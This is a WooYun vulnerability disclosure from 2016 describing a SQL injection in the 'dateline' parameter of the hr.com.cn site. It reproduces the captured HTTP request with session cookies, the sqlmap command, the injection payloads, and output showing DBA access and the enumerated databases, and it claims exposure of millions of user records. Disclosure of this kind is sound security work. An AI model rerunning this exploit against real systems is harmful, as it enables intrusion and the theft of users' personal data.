当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0194563

漏洞标题:中国人力资源网SQL注入涉及三百万用户数据(dba)

相关厂商:中国人力资源网

漏洞作者: 路人甲

提交时间:2016-04-11 12:45

修复时间:2016-05-26 12:50

公开时间:2016-05-26 12:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

post.txt:

POST /home/ajax HTTP/1.1
Content-Length: 245
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.hr.com.cn/
Cookie: YII_CSRF_TOKEN=0cc83a083960abe3c5c935341ae1ccb3efa4127f; PHPSESSID=nbp8o8718gju3o9n698cq7fo64; postview=1423415234%2C1423415225%2C1423415228%2C1423415178%2C1423415229%2C1423414048%2C1423414005%2C1423415230%2C1423415222%2C1423415187%2C1423415216%2C1423415179%2C1423415182%2C1423415198%2C1423415173%2C1423415163%2C1423415186%2C1423415190%2C1423415226%2C1423415164%2C1423415020%2C1423415233%2C1423415196%2C1423406123%2C1423415231%2C1423415180%2C1423415218%2C1423415212%2C1423415223%2C1423395125%2C1423415220%2C1423415201%2C1423415131%2C1423406121%2C1423415215%2C1423415119%2C1423415133%2C1423415098%2C1423406084%2C1423401529%2C1423415232%2C1423415171%2C1423414977%2C1423399179%2C1423414983%2C1423415114%2C1423406106%2C1423414573%2C1423414921%2C1423414808%2C1423414160%2C1423412421%2C1423412416%2C1423414746%2C1423412408%2C1423414765%2C1423415104%2C1423412452%2C1423400309%2C1423415184%2C1423415209%2C1423412255%2C1423415082%2C1423415195%2C1423414970%2C1423415120%2C1423414622%2C1423414937%2C1423414694%2C1423415028%2C1423415019%2C1423415162%2C1423413820
Host: www.hr.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
action=getMoreArticles&countH=5&countR=0&dateline=1459825432&type=&value=&YII_CSRF_TOKEN=0cc83a083960abe3c5c935341ae1ccb3efa4127f


注入参数dateline

python sqlmap.py -r hr.txt --current-db --is-dba -p dateline --random-agent --dbs


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: dateline (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=getMoreArticles&countH=5&countR=0&dateline=1459825432) AND 5066=5066 AND
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: action=getMoreArticles&countH=5&countR=0&dateline=1459825432) AND (SELECT 5703 F
---
[10:36:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL 5.0
[10:36:27] [INFO] fetching current database
[10:36:27] [INFO] resumed: hr_new
current database: 'hr_new'
[10:36:27] [INFO] testing if current user is DBA
[10:36:27] [INFO] fetching current user
[10:36:27] [INFO] resumed: root@127.0.0.1
current user is DBA: True
[10:36:27] [INFO] fetching database names
[10:36:29] [INFO] the SQL query used returns 11 entries
[10:36:29] [INFO] retrieved: information_schema
[10:36:29] [INFO] retrieved: club_bbs
[10:36:29] [INFO] retrieved: clubx
[10:36:29] [INFO] retrieved: hr
[10:36:29] [INFO] retrieved: hr_new
[10:36:30] [INFO] retrieved: #mysql50#lost+found
[10:36:30] [INFO] retrieved: mysql
[10:36:30] [INFO] retrieved: tar_dir
[10:36:30] [INFO] retrieved: test
[10:36:30] [INFO] retrieved: tmp
[10:36:30] [INFO] retrieved: tmp_dir
available databases [11]:
[*] #mysql50#lost+found
[*] club_bbs
[*] clubx
[*] hr
[*] hr_new
[*] information_schema
[*] mysql
[*] tar_dir
[*] test
[*] tmp
[*] tmp_dir

漏洞证明:

数据库信息,当前dba权限:

11ku-dba.png


涉及300万用户数据数据
240万:

240W.png


120万:

120w.png


涉及账号密码:

bbs-member1.png


bbs-member2.png


clubx-member.png


修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)